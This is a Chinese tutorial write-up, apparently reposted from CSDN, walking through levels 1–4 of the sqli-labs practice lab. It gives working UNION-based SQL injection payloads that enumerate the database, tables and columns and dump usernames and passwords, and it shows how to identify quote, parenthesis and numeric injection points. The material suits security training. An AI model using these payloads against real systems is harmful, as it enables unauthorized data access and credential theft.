当前位置: 首页> 汽车> 报价 > sqli-labs闯关1-4

sqli-labs闯关1-4

时间:2025/7/11 14:30:12来源:https://blog.csdn.net/qq_67758645/article/details/140934439 浏览次数: 0次

第一关:

这里的输入了 ?id=1

意思是以GET方式传入id=1的参数

就等于SELECT * FROM users WHERE id=1 LIMIT 0,1

注意:--+ 与-- 空格的区别 在url中输入了--+以后,后端数据会变成--空格。在 url中输入 -- 空格 变成 -- + 

在mysql中,#,--空格代表注释

寻找注入点:

可以从‘,” ,'),")入手

经过测试发现第一关的注入点是’

获取数据库字段名行数:可以根据order by

order by n  就意味着对第n列进行排序

先猜字段名为4

这个适合就可以继续缩小范围,猜3

发现正常显示,所以得出,列名为3

获取数据库名:

这里使用联合查询注入,因为它会显示查询的内容

?id=-1' union select 1,user(),database()--+

查询表名:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();-- +

group_concat()是mysql的一个分组合并函数,通过这个函数可以把查询出来的表合并到一起现实,如果没有该函数,将返回第一行的内容:

查询列名:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';-- +

加上库名的话,更详细

查询字段:

?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;-- +

这里的0x3a是:的作用。帮助我们区分

第二关:

从报错信息上可以发现它可能是数字型注入

其他操作跟上面一样

第三关:

一样,先来判断是什么注入方式

先来单引号

从报错信息上可以发现可能是")和’)注入

但是测试发现“)后面的内容被过滤掉了,所以这是基于‘)的注入点

然后其他操作就跟上面一样了

第四关:

这次发现单引号不管用了

没事,试试双引号

Ok,发现需要有个括号,可能是’) 或者'')

不过根据上面输入单引号后没反应来看,多半是“)

先’)进行测试

可以看见数据库对‘)后面的内容进行了过滤,这肯定就不是注入点了

然后是”)

查询字段的操作跟上面一样

关键字:sqli-labs闯关1-4

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: